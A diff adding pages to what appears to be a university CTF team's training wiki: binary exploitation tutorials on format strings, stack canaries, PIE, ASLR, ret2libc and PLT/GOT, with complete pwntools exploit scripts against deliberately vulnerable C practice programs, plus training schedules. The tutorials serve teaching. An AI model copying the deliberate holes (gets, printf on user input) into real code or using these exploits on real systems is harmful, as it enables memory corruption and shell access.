+log.info(p.clean())
+
+

Let's break down the payload:

+
    +
  • We add 4 | because we want the address we write to fill one memory address, not half of one and half another, because that will result in reading the wrong address
  • +
  • The offset is %8$p because the start of the buffer is generally at %6$p. However, memory addresses are 4 bytes long each and we already have 8 bytes, so it's two memory addresses further along at %8$p.
  • +
+
$ python3 exploit.py
+
+[+] Starting local process './vuln': pid 3255
+[*] b'0x8048000||||'
+
+
+

It still stops at the null byte, but that's not important because we get the output; the address is still written to memory, just not printed back.

+
+

Now let's replace the p with an s.

+
$ python3 exploit.py
+
+[+] Starting local process './vuln': pid 3326
+[*] b'\x7fELF\x01\x01\x01||||'
+
+

Of course, %s will also stop at a null byte as strings in C are terminated with them. We have worked out, however, that the first bytes of an ELF file up to a null byte is \x7fELF\x01\x01\x01.

+

Arbitrary Writes

+

Luckily C contains a rarely-used format specifier %n. This specifier takes in a pointer (memory address) and writes there the number of characters written so far. If we can control the input, we can control how many characters are written and also where we write them.

+

Obviously, there is a small flaw - to write, say, 0x8048000 to a memory address, we would have to write that many characters - and generally buffers aren't quite that big. Luckily there are other format string specifiers for that. I fully recommend you watch this video to completely understand it, but let's jump into a basic binary.

+

fmtstr_arb_write

+
#include <stdio.h>
+
+int auth = 0;
+
+int main() {
+    char password[100];
+
+    puts("Password: ");
+    fgets(password, sizeof password, stdin);
+
+    printf(password);
+    printf("Auth is %i\n", auth);
+
+    if(auth == 10) {
+        puts("Authenticated!");
+    }
+}
+
+

Simple - we need to overwrite the variable auth with the value 10. Format string vulnerability is obvious, but there's also no buffer overflow due to a secure fgets.

+

Work out the location of auth

+

As it's a global variable, it's within the binary itself. We can check the location using readelf to check for symbols.

+
$ readelf -s auth | grep auth
+    34: 00000000     0 FILE    LOCAL  DEFAULT  ABS auth.c
+    57: 0804c028     4 OBJECT  GLOBAL DEFAULT   24 auth
+
+

The location of auth is 0x0804c028.

+

Writing the Exploit

+

We're lucky there are no null bytes, so there's no need to change the order.

+
$ ./auth 
+
+Password: 
+%p %p %p %p %p %p %p %p %p
+0x64 0xf7f9f580 0x8049199 (nil) 0x1 0xf7ff5980 0x25207025 0x70252070 0x20702520
+
+

Buffer is the 7th %p.

+
from pwn import *
+
+AUTH = 0x804c028
+
+p = process('./auth')
+
+payload = p32(AUTH)
+payload += b'|' * 6         # We need to write the value 10, AUTH is 4 bytes, so we need 6 more for %n
+payload += b'%7$n'
+
+
+print(p.clean().decode('latin-1'))
+p.sendline(payload)
+print(p.clean().decode('latin-1'))
+
+

And easy peasy:

+
[+] Starting local process './auth': pid 4045
+Password: 
+
+[*] Process './auth' stopped with exit code 0 (pid 4045)
+(À\x04||||||
+Auth is 10
+Authenticated!
+
+

Pwntools

+

As you can expect, pwntools has a handy feature for automating %n format string exploits:

+
payload = fmtstr_payload(offset, {location : value})
+
+

The offset in this case is 7 because the 7th %p read the buffer; the location is where you want to write it and the value is what. Note that you can add as many location-value pairs into the dictionary as you want.

+
payload = fmtstr_payload(7, {AUTH : 10})
+
+

You can also grab the location of the auth symbol with pwntools:

+
elf = ELF('./auth')
+AUTH = elf.sym['auth']
+
+
+

Check out the pwntools tutorials for more cool features

+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/pwn-stack-3/index.html b/Training/Material/pwn-stack-3/index.html new file mode 100644 index 000000000..6c630a539 --- /dev/null +++ b/Training/Material/pwn-stack-3/index.html @@ -0,0 +1,9598 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Binary Exploitation - Stack - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Binary Exploitation - Stack

+
+

https://ir0nstone.gitbook.io/notes/

+
+

Stack Canaries

+

The Buffer Overflow defense

+

Stack Canaries are very simple - at the beginning of the function, a random value is placed on the stack. Before the program executes ret, the current value of that variable is compared to the initial: if they are the same, no buffer overflow has occurred.

+

If they are not, the attacker attempted to overflow to control the return pointer, and the program crashes, often with a ***stack smashing detected*** error message.

+

On Linux, stack canaries end in 00. This is so that they null-terminate any strings in case you make a mistake when using print functions, but it also makes them much easier to spot.

+

Bypassing Canaries

+

There are two ways to bypass a canary.

+

Leaking it

+

This is quite broad and will differ from binary to binary, but the main aim is to read the value. The simplest option is using format string if it is present - the canary, like other local variables, is on the stack, so if we can leak values off the stack it's easy.

+
Source
+
#include <stdio.h>
+
+void vuln() {
+    char buffer[64];
+
+    puts("Leak me");
+    gets(buffer);
+
+    printf(buffer);
+    puts("");
+
+    puts("Overflow me");
+    gets(buffer);
+}
+
+int main() {
+    vuln();
+}
+
+void win() {
+    puts("You won!");
+}
+
+

The source is very simple - it gives you a format string vulnerability, then a buffer overflow vulnerability. The format string we can use to leak the canary value, then we can use that value to overwrite the canary with itself. This way, we can overflow past the canary but not trigger the check as its value remains constant. And of course, we just have to run win().

+
32-bit
+

canary-32

+

First, let's check if there is a canary:

+
$ pwn checksec vuln-32 
+[*] 'vuln-32'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    Canary found
+    NX:       NX enabled
+    PIE:      No PIE (0x8048000)
+
+

Yup, there is. Now we need to calculate at what offset the canary is at and to do this we'll use radare2.

+
$ r2 -d -A vuln-32
+
+[0xf7f2e0b0]> db 0x080491d7
+[0xf7f2e0b0]> dc
+Leak me
+%p
+hit breakpoint at: 80491d7
+[0x080491d7]> pxw @ esp
+0xffd7cd60  0xffd7cd7c 0xffd7cdec 0x00000002 0x0804919e  |...............
+0xffd7cd70  0x08048034 0x00000000 0xf7f57000 0x00007025  4........p..%p..
+0xffd7cd80  0x00000000 0x00000000 0x08048034 0xf7f02a28  ........4...(*..
+0xffd7cd90  0xf7f01000 0xf7f3e080 0x00000000 0xf7d53ade  .............:..
+0xffd7cda0  0xf7f013fc 0xffffffff 0x00000000 0x080492cb  ................
+0xffd7cdb0  0x00000001 0xffd7ce84 0xffd7ce8c 0xadc70e00  ................
+
+

The last value there is the canary. We can tell because it's roughly 64 bytes after the "buffer start", which should be close to the end of the buffer. Additionally, it ends in 00 and looks very random, unlike the libc and stack addresses that start with f7 and ff. If we count the number of addresses it's around 24 until that value, so we go one before and one after as well to make sure.

+
$./vuln-32
+
+Leak me
+%23$p %24$p %25$p
+0xa4a50300 0xf7fae080 (nil)
+
+

It appears to be at %23$p. Remember, stack canaries are randomized for each new process, so it won't be the same.

+

Now let's just automate grabbing the canary with pwntools:

+
from pwn import *
+
+p = process('./vuln-32')
+
+log.info(p.clean())
+p.sendline('%23$p')
+
+canary = int(p.recvline(), 16)
+log.success(f'Canary: {hex(canary)}')
+
+
$ python3 exploit.py 
+[+] Starting local process './vuln-32': pid 14019
+[*] b'Leak me\n'
+[+] Canary: 0xcc987300
+
+

Now all that's left is to work out what the offset is until the canary, and then the offset from after the canary to the return pointer.

+
$ r2 -d -A vuln-32
+[0xf7fbb0b0]> db 0x080491d7
+[0xf7fbb0b0]> dc
+Leak me
+%23$p
+hit breakpoint at: 80491d7
+[0x080491d7]> pxw @ esp
+[...]
+0xffea8af0  0x00000001 0xffea8bc4 0xffea8bcc 0xe1f91c00
+
+

We see the canary is at 0xffea8afc. A little later on the return pointer (we assume) is at 0xffea8b0c. Let's break just after the next gets() and check what value we overwrite it with (we'll use a De Bruijn pattern).

+
[0x080491d7]> db 0x0804920f
+[0x080491d7]> dc
+0xe1f91c00
+Overflow me
+AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
+hit breakpoint at: 804920f
+[0x0804920f]> pxw @ 0xffea8afc
+0xffea8afc  0x41574141 0x41415841 0x5a414159 0x41614141  AAWAAXAAYAAZAAaA
+0xffea8b0c  0x41416241 0x64414163 0x41654141 0x41416641  AbAAcAAdAAeAAfAA
+
+

Now we can check the canary and EIP offsets:

+
[0x0804920f]> wopO 0x41574141
+64
+[0x0804920f]> wopO 0x41416241
+80
+
+

The returned pointer is 16 bytes after the canary start, so 12 bytes after the canary.

+
from pwn import *
+
+p = process('./vuln-32')
+
+log.info(p.clean())
+p.sendline('%23$p')
+
+canary = int(p.recvline(), 16)
+log.success(f'Canary: {hex(canary)}')
+
+payload = b'A' * 64
+payload += p32(canary)  # overwrite canary with original value to not trigger
+payload += b'A' * 12    # pad to return pointer
+payload += p32(0x08049245)
+
+p.clean()
+p.sendline(payload)
+
+print(p.clean().decode('latin-1'))
+
+
64-bit
+

Same source, same approach, just 64-bit. Try it yourself before checking the solution.

+
+

Remember, in 64-bit format string goes to the relevant registers first and the addresses can fit 8 bytes each so the offset may be different.

+
+

canary-64

+

Bruteforcing the Canary

+

This is possible on 32-bit, and sometimes unavoidable. It's not, however, feasible on 64-bit.

+

As you can expect, the general idea is to run the process loads and load of times with random canary values until you get a hit, which you can differentiate by the presence of a known plaintext, e.g. flag{ and this can take ages to run and is frankly not a particularly interesting challenge.

+

PIE

+
+

Position Independent Code

+
+

Overview

+

PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are.

+

Analysis

+

Luckily, this does not mean it's impossible to exploit. PIE executables are based on relative rather than absolute addresses, meaning that while the locations in memory are fairly random the offsets between different parts of the binary remain constant. For example, if you know that the function main is located 0x128 bytes in memory after the base address of the binary, and you somehow find the location of main, you can simply subtract 0x128 from this to get the base address and from the addresses of everything else.

+

Exploitation

+

So, all we need to do is find a single address and PIE is bypassed. Where could we leak this address from?

+

The stack of course!

+

We know that the return pointer is located on the stack - and much like a canary, we can use format string (or other ways) to read the value of the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE!

+

Double-Checking

+

Due to the way PIE randomization works, the base address of a PIE executable will always end in the hexadecimal characters 000. This is because pages are the things being randomized in memory, which have a standard size of 0x1000. Operating Systems keep track of page tables that point to each section of memory and define the permissions for each section, similar to segmentation.

+

Checking the base address ends in 000 should probably be the first thing you do if your exploit is not working as you expected.

+

Pwntools, PIE, and ROP

+

As shown in the pwntools ELF tutorial, pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting elf.address will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using readelf or other command line tools, but instead can receive it all dynamically.

+

Not to mention that the ROP capabilities are incredibly powerful as well.

+

PIE Bypass with Given Leak

+
+

Exploiting PIE with a given leak

+
+

The Source

+

pie-32

+
#include <stdio.h>
+
+int main() {
+    vuln();
+
+    return 0;
+}
+
+void vuln() {
+    char buffer[20];
+
+    printf("Main Function is at: %lx\n", main);
+
+    gets(buffer);
+}
+
+void win() {
+    puts("PIE bypassed! Great job :D");
+}
+
+

Pretty simple - we print the address of the main, which we can read and calculate the base address from. Then, using this, we can calculate the address of win() itself.

+

Analysis

+

Let's just run the script to make sure it's the right one :D

+
$ ./vuln-32 
+Main Function is at: 0x5655d1b9
+
+

Yup, and as we expected, it prints the location of the main.

+

Exploitation

+

First, let's set up the script. We create an ELF object, which becomes very useful later on, and start the process.

+
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+

Now we want to take in the main function location. To do this we can simply receive up until it (and do nothing with that) and then read it.

+
p.recvuntil('at: ')
+main = int(p.recvline(), 16)
+
+
+

Since we received the entire line except for the address, only the address will come up with p.recvline().

+
+

Now we'll use the ELF object we created earlier and set its base address. The sym dictionary returns the offsets of the functions from the binary base until the base address is set, after which it returns the absolute address in memory.

+
elf.address = main - elf.sym['main']
+
+

In this case, elf.sym['main'] will return 0x11b9; if we ran it again, it would return 0x11b9 + the base address. So, essentially, we're subtracting the offset of the main from the address we leaked to get the base of the binary.

+

Now we know the base we can just call win().

+
payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.sendline(payload)
+
+print(p.clean().decode('latin-1'))
+
+
+

By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.

+
+

And does it work?

+
[*] 'vuln-32'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+[+] Starting local process 'vuln-32': pid 4617
+PIE bypassed! Great job :D
+
+

Awesome!

+

Final Exploit

+
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+p.recvuntil('at: ')
+main = int(p.recvline(), 16)
+
+elf.address = main - elf.sym['main']
+
+payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.sendline(payload)
+
+print(p.clean().decode('latin-1'))
+
+

Summary

+

From the leaked address of the main, we were able to calculate the base address of the binary. From this, we could then calculate the address of the win and call it.

+

And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.

+

64-bit

+

Try this for yourself first, then feel free to check the solution. Same source, same challenge.

+

pie-64

+

PIE Bypass

+
+

Using format string

+
+

The Source

+

pie-fmtstr

+
#include <stdio.h>
+
+void vuln() {
+    char buffer[20];
+
+    printf("What's your name?\n");
+    gets(buffer);
+
+    printf("Nice to meet you ");
+    printf(buffer);
+    printf("\n");
+
+    puts("What's your message?");
+
+    gets(buffer);
+}
+
+int main() {
+    vuln();
+
+    return 0;
+}
+
+void win() {
+    puts("PIE bypassed! Great job :D");
+}
+
+

Unlike last time, we don't get given a function. We'll have to leak it with format strings.

+

Analysis

+
$ ./vuln-32 
+
+What's your name?
+%p
+Nice to meet you 0xf7f6d080
+What's your message?
+hello
+
+

Everything's as we expect.

+

Exploitation

+
Setup
+

As last time, first, we set everything up.

+
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+
PIE Leak
+

Now we just need a leak. Let's try a few offsets.

+
$ ./vuln-32 
+What's your name?
+%p %p %p %p %p
+Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1
+
+

3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak (doesn't really matter where).

+
$ r2 -d -A vuln-32 
+
+Process with PID 5548 started...
+= attach 5548 5548
+bin.baddr 0x565ef000
+0x565f01c9]> db 0x565f0234
+[0x565f01c9]> dc
+What's your name?
+%3$p
+Nice to meet you 0x565f01d5
+
+

We can see the base address is 0x565ef000 and the leaked value is 0x565f01d5. Therefore, subtracting 0x1d5 from the leaked address should give us the binary. Let's leak the value and get the base address.

+
p.recvuntil('name?\n')
+p.sendline('%3$p')
+
+p.recvuntil('you ')
+elf_leak = int(p.recvline(), 16)
+
+elf.address = elf_leak - 0x11d5
+log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check
+
+

Now we just need to send the exploit payload.

+
payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.recvuntil('message?\n')
+p.sendline(payload)
+
+print(p.clean().decode())
+
+

Final Exploit

+
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+p.recvuntil('name?\n')
+p.sendline('%3$p')
+
+p.recvuntil('you ')
+elf_leak = int(p.recvline(), 16)
+
+elf.address = elf_leak - 0x11d5
+log.success(f'PIE base: {hex(elf.address)}')
+
+payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.recvuntil('message?\n')
+p.sendline(payload)
+
+print(p.clean().decode())
+
+

64-bit

+

Same deal, just 64-bit. Try it out :)

+

pie-fmtstr-64

+

ASLR

+
+

Address Space Layout Randomisation

+
+

Overview

+

ASLR stands for Address Space Layout Randomisation and can, in most cases, be thought of as libc's equivalent of PIE - every time you run a binary, libc (and other libraries) get loaded into a different memory address.

+
+

While it's tempting to think of ASLR as libc PIE, there is a key difference.

+

ASLR is a kernel protection while PIE is a binary protection. The main difference is that PIE can be compiled into the binary while the presence of ASLR is completely dependent on the environment running the binary. If I sent you a binary compiled with ASLR disabled while I did it, it wouldn't make any difference at all if you had ASLR enabled.

+
+

Of course, as with PIE, this means you cannot hardcode values such as function address (e.g. system for a ret2libc).

+

The Format String Trap

+

It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that.

+

When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even exist remotely, and if it does the offset will most likely be different (different libcs have different sizes and therefore different offsets between functions). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same.

+

Instead, a more reliable way is reading the GOT entry of a specific function.

+

Double-Checking

+

For the same reason as PIE, libc base addresses always end in the hexadecimal characters 000.

+

ASLR Bypass with Given Leak

+

The Source

+

aslr

+
#include <stdio.h>
+#include <stdlib.h>
+
+void vuln() {
+    char buffer[20];
+
+    printf("System is at: %lp\n", system);
+
+    gets(buffer);
+}
+
+int main() {
+    vuln();
+
+    return 0;
+}
+
+void win() {
+    puts("PIE bypassed! Great job :D");
+}
+
+

Just as we did for PIE, except this time we print the address of the system.

+

Analysis

+
$ ./vuln-32 
+System is at: 0xf7de5f00
+
+

Yup, does what we expected.

+
+

Your address of the system might end in different characters - you just have a different libc version

+
+

Exploitation

+

Much of this is as we did with PIE.

+
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+libc = elf.libc
+p = process()
+
+

Note that we include the libc here - this is just another ELF object that makes our lives easier.

+

Parse the address of the system and calculate the libc base from that (as we did with PIE):

+
p.recvuntil('at: ')
+system_leak = int(p.recvline(), 16)
+
+libc.address = system_leak - libc.sym['system']
+log.success(f'LIBC base: {hex(libc.address)}')
+
+

Now we can finally ret2libc, using the libc ELF object to really simplify it for us:

+
payload = flat(
+    'A' * 32,
+    libc.sym['system'],
+    0x0,        # return address
+    next(libc.search(b'/bin/sh'))
+)
+
+p.sendline(payload)
+
+p.interactive()
+
+

Final Exploit

+
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+libc = elf.libc
+p = process()
+
+p.recvuntil('at: ')
+system_leak = int(p.recvline(), 16)
+
+libc.address = system_leak - libc.sym['system']
+log.success(f'LIBC base: {hex(libc.address)}')
+
+payload = flat(
+    'A' * 32,
+    libc.sym['system'],
+    0x0,        # return address
+    next(libc.search(b'/bin/sh'))
+)
+
+p.sendline(payload)
+
+p.interactive()
+
+

64-bit

+

Try it yourself :)

+

aslr-64

+

Using pwntools

+

If you prefer, you could have changed the following payload to be more pwntoolsy:

+
payload = flat(
+    'A' * 32,
+    libc.sym['system'],
+    0x0,        # return address
+    next(libc.search(b'/bin/sh'))
+)
+
+p.sendline(payload)
+
+

Instead, you could do:

+
binsh = next(libc.search(b'/bin/sh'))
+
+rop = ROP(libc)
+rop.raw('A' * 32)
+rop.system(binsh)
+
+p.sendline(rop.chain())
+
+

The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.

+

PLT and GOT

+
+

Bypassing ASLR

+
+

The PLT and GOT are sections within an ELF file that deal with a large portion of the dynamic linking. Dynamically linked binaries are more common than statically linked binary in CTFs. The purpose of dynamic linking is that binaries do not have to carry all the code necessary to run within them - this reduces their size substantially. Instead, they rely on system libraries (especially libc, the C standard library) to provide the bulk of the functionality. For example, each ELF file will not carry its own version of puts compiled within it - it will instead dynamically link to the puts of the system it is on. As well as smaller binary sizes, this also means the user can continually upgrade their libraries, instead of having to redownload all the binaries every time a new version comes out.

+

So when it's on a new system, it replaces function calls with hardcoded addresses?

+

Not quite.

+

The problem with this approach is it requires libc to have a constant base address, i.e. be loaded in the same area of memory every time it's run, but remember that *ASLR* exists. Hence the need for dynamic linking. Due to the way ASLR works, these addresses need to be resolved every time the binary is run. Enter the PLT and GOT.

+

The PLT and GOT

+

The PLT (Procedure Linkage Table) and GOT (Global Offset Table) work together to perform the linking.

+

When you call puts() in C and compile it as an ELF executable, it is not actually puts() - instead, it gets compiled as puts@plt. Check it out in GDB:

+

img

+

Why does it do that?

+

Well, as we said, it doesn't know where puts actually are - so it jumps to the PLT entry of puts instead. From here, puts@plt does some very specific things:

+
    +
  • If there is a GOT entry for puts, it jumps to the address stored there.
  • +
  • If there isn't a GOT entry, it will resolve it and jump there.
  • +
+

The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc functions. puts@got, for example, will contain the address of puts in memory. When the PLT gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so (also called the dynamic linker/loader) to get the function address and store it in the GOT.

+

How is this useful for binary exploitation?

+

Well, there are two key takeaways from the above explanation:

+
    +
  • Calling the PLT address of a function is equivalent to calling the function itself
  • +
  • The GOT address contains addresses of functions in libc, and the GOT is within the binary.
  • +
+

The use of the first point is clear - if we have a PLT entry for a desirable libc function, for example, system, we can just redirect execution to its PLT entry and it will be the equivalent of calling the system directly; no need to jump into libc.

+

The second point is less obvious, but debatably even more important. As the GOT is part of the binary, it will always be a constant offset away from the base. Therefore, if PIE is disabled or you somehow leak the binary base, you know the exact address that contains a libc function's address. If you perhaps have an arbitrary read, it's trivial to leak the real address of the libc function and therefore bypass ASLR.

+

Exploiting an Arbitrary Read

+

There are two main ways that I (personally) exploit an arbitrary read. Note that these approaches will cause not only the GOT entry to be returned but everything else until a null byte is reached as well, due to strings in C being null-terminated; make sure you only take the required number of bytes.

+

ret2plt

+

A ret2plt is a common technique that involves calling puts@plt and passing the GOT entry of puts as a parameter. This causes puts to print out its own address in libc. You then set the return address to the function you are exploiting in order to call it again and enable you to

+
# 32-bit ret2plt
+payload = flat(
+    b'A' * padding,
+    elf.plt['puts'],
+    elf.symbols['main'],
+    elf.got['puts']
+)
+
+# 64-bit
+payload = flat(
+    b'A' * padding,
+    POP_RDI,
+    elf.got['puts']
+    elf.plt['puts'],
+    elf.symbols['main']
+)
+
+
+

flat() packs all the values you give it with p32() and p64() (depending on context) and concatenates them, meaning you don't have to write the packing functions out all the time

+
+

%s format string

+

This has the same general theory but is useful when you have limited stack space or a ROP chain would alter the stack in such a way as to complicate future payloads, for example when stack pivoting.

+
payload = p32(elf.got['puts'])      # p64() if 64-bit
+payload += b'|'
+payload += b'%3$s'                  # The third parameter points at the start of the buffer
+
+
+# this part is only relevant if you need to call the function again
+
+payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
+payload += p32(elf.symbols['main'])
+
+# Send it off...
+
+p.recvuntil(b'|')                   # This is not required
+puts_leak = u32(p.recv(4))          # 4 bytes because it's 32-bit
+
+

Summary

+
    +
  • The PLT and GOT do the bulk of static linking
  • +
  • The PLT resolves actual locations in the libc of functions you use and stores them in the GOT
  • +
  • Next time that function is called, it jumps to the GOT and resumes execution there
  • +
  • Calling function@plt is equivalent to calling the function itself
  • +
  • An arbitrary read enables you to read the GOT and thus bypass ASLR by calculating the libc base
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2021Fall/index.html b/Training/Schedule/2021Fall/index.html new file mode 100644 index 000000000..29aebc789 --- /dev/null +++ b/Training/Schedule/2021Fall/index.html @@ -0,0 +1,8225 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2021 Fall Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2021 Fall Schedule

+

After the recruiting on September 4th, new members are going to learn basic ideas of CTF.

+

The training project for 2021 fall is going to start in September, and will finish in November. After the training, another exam would be held.

+

Schedule

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DataTitleIntroMaterial
Sep 11th 2021Introduction to CTF, how to Search & LearnLearn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team.Introduction to CTF.pdf
Sep 19th 2021Linux, Programming, and ToolkitIntroduce how to operate a Linux system using CLI, and install your environment. Learn how to program with Python. Install the toolkit.Linux, Programming, and Toolkit
Sep 25th 2021Web Challenges and DatabasesAbility to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets.Web Challenges and Databases.pdf
Oct 10th 2021Forensics & SteganographyAnalyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images.Forensics_Steganography.pdf
Oct 16th 2021Operating SystemsGuide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure.Operating Systems.pptx
Oct 23th 2021Modern Cryptography and MathematicsAsymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography.Cryptography.pptx
Oct 30th 2021Assembly LanguageLearn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved.Reverse.pdf
Nov 20th 2021Binary ExploitationsPWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges.Binary Exploitation.pdf
Nov 27th 2021Post PenetrationAfter acquire a shell or you want to use reverse shell to exploit websites. Use vulnerability database to search vulnerabilities. Privilege escalation in Linux system.
Dec 4th 2021AWD CTFFrom Jeopardy to AWD (Attack and Defense) CTF. Use an online AWD CTF to learn about vulnerability fix and exploit.
Dec 11th 2021ReportIndividual report of each new members about a topic you interested in.
Dec 18th 2021ExamQualifier exam.
+

Training Timeline

+

There some major changes to our training timeline.

+

According to the new goal of intro and improve, the lecture time is reduced to 1 hour in order to do more exercise.

+

The offline training location is changed to Meeting Room 551 Engineering College South Tower because of the failure to get keys to TB2 (aka, picking locks are illegal).

+

Training time stays unchanged: every Saturday 2pm - 6pm.

+

2021 Fall training timeline:

+

14:00 - 15:00 Lecture

+

15:30 - 18:00 Collaborate exercise

+

Attendance

+

It's highly recommend you to join offline in Meeting Room 551 Engineering College South Tower, but if you have any other arrangement, online attendance is fine.

+

Any pigeons absence for 3 weeks would be stewed into pigeon soup. Because after 3 weeks of patting fish, you may forget the password of your own kali image.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2021Summer/index.html b/Training/Schedule/2021Summer/index.html new file mode 100644 index 000000000..de8fc4a9e --- /dev/null +++ b/Training/Schedule/2021Summer/index.html @@ -0,0 +1,8181 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2021 Summer Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2021 Summer Schedule

+

The summer of 2021 is focusing on the beginners and our new members of team. Summer schedule is from basics of CTF to introduction to all the categories and basic knowledge.

+

Schedule

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateTitleIntroMaterial
July 31st 2021Operating SystemsGuide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure.Computer Systems: A Programmer's Perspective
Aug 7nd 2021Computer Network and ProtocolsAbout computer network, how Internet works and basic protocols about computer network.Computer Networking: A Top-Down Approach
Aug 14nd 2021Modern Cryptography and MathematicsAsymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography.Cryptography Theory and Practice
Introduction to Modern Cryptography
Aug 21st 2021Penetration and HackingFrom CTF challenges to the penetration testing and hacking a real system. Learn about how to carry out a real attack to the computer systems.The Hacker Playbook
Aug 28th 2021Ethics of Cybersecurity & Exam for CTF teamEthics of hacking and cybersecurity. From supply chain attack to Linux kernel to security research ethics. Learn about how to apply good penetration test instead of cracking.An Introduction to Cybersecurity Ethics
+

Training Timeline

+

The training location is at southern building of engineering college, 551 meeting room. If any changes to the training location, we would inform in advance.

+

Welcome everyone to our training weekly.

+

Summer training timeline:

+

14:00 - 14:30 Chatting and review of daily challenges

+

14:30 - 16:00 Lecture

+

16:10 - 17:00 Training sequence 1

+

17:10 - 18:00 Training sequence 2

+

Advice

+

If you have any advice to the training, and about the topics of lecture, feel free to inform me and we can update training schedule according to your needs.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Schedule/2022Fall/index.html b/Training/Schedule/2022Fall/index.html new file mode 100644 index 000000000..6d0774459 --- /dev/null +++ b/Training/Schedule/2022Fall/index.html @@ -0,0 +1,8234 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022 Fall Training Schedule - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022 Fall Training Schedule

+

tl,dr;

+
    +
  • +

    This semester we have both advanced training and qualification for 2022 students.

    +
  • +
  • +

    Training: from 2 pm to 6 pm every Sunday at 551 Room, Southern Tower of Engineering Department.

    +
  • +
  • Qualification: 3 weeks introduction and 1-week exam.
  • +
+

Timeline

+

